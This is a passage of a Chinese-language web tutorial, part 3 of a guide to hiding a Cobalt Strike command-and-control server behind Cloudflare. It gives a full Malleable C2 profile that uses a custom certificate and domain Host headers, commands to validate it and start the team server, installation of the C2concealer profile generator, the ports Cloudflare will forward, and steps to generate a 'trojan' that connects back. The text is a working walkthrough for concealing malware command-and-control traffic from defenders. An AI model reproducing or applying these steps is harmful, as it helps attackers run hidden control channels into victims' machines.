主页 > 网络知识 > 保姆级Cobalt Strike主机隐藏教程(3)

保姆级Cobalt Strike主机隐藏教程(3)

要想使用我们自己申请的证书,这里就需要使用‘Malleable C2 profile’的方式来操作。这里以cloudflare.profile为例。将生成的密钥文件.store放到cs目录下,想cloudflare.profile加入证书配置:
其中需要注意的是https-certificate为证书相关的配置,其他client.header中Host的值要为我们申请的域名,其他的部分,根据个人情况去配置。

https-certificate { set keystore "baidubaidu.dotdotdotdot.tk.store"; set password "123456"; } http-stager { set uri_x86 "/api/1"; set uri_x64 "/api/2"; client { header "Host" "baidubaidu.dotdotdotdot.tk";} server { output{ print; } } } http-get { set uri "/api/3"; client { header "Host" "baidubaidu.dotdotdotdot.tk"; metadata { base64; header "Cookie"; } } server { output{ print; } } } http-post { set uri "/api/4"; client { header "Host" "baidubaidu.dotdotdotdot.tk"; id { uri-append; } output{ print; } } server { output{ print; } } }

使用命令"./c2lint cloudflare.profile"去验证配置文件是否有问题。如下为验证成功的配置。

-w687

验证配置失败,会爆出如下错误,根据报错结果去修改你的配置文件。配置文件参考官方帮助文件

-w484

使用配置文件启动服务器
./teamserver 172.17.21.142 123456 cloudflare.profile

-w501

 

2.5 配置文件生成仓库

github上有一个仓库,可以用于生成c2配置文件,如果使用此种方式需要在木马生成部分的备注,不然可能会导致木马无法上线。
使用方式:

#安装命令 git clone https://github.com/FortyNorthSecurity/C2concealer && cd C2concealer && chmod +x install.sh && ./install.sh #使用命令 C2concealer --variant 1 --hostname "baidubaidu.dotdotdotdot.tk" #域名记得加引号

baidu.store就是baidubaidu.dotdotdotdot.tk.store为了方便就改了文件名。

-w882


之后使用生成后的profile文件启动服务器即可

 

2.6 生成木马配置

作了如上的配置,在生成木马时需要做一些不一样的操作。
**注意:**免费版本的cloudflare支持解析少量的端口,具体端口如下
http:
80、8080、8880、2052、2082、2086、2095
https:
443、2053、2083、2087、2096、8443

-w491

之后生成木马,运行即可上线

-w390

 

 

-w778

 

powershell的上线方式与以前有些许不同。需要启动ssl证书。

-w406

 

备注:如果使用C2concealer生成profile,需要配置listener时在profile中选择variant_1才行,不然可能会导致无法上线。

-w468

 

三、写在最后
说点什么吧
  • 全部评论(0
    还没有评论,快来抢沙发吧!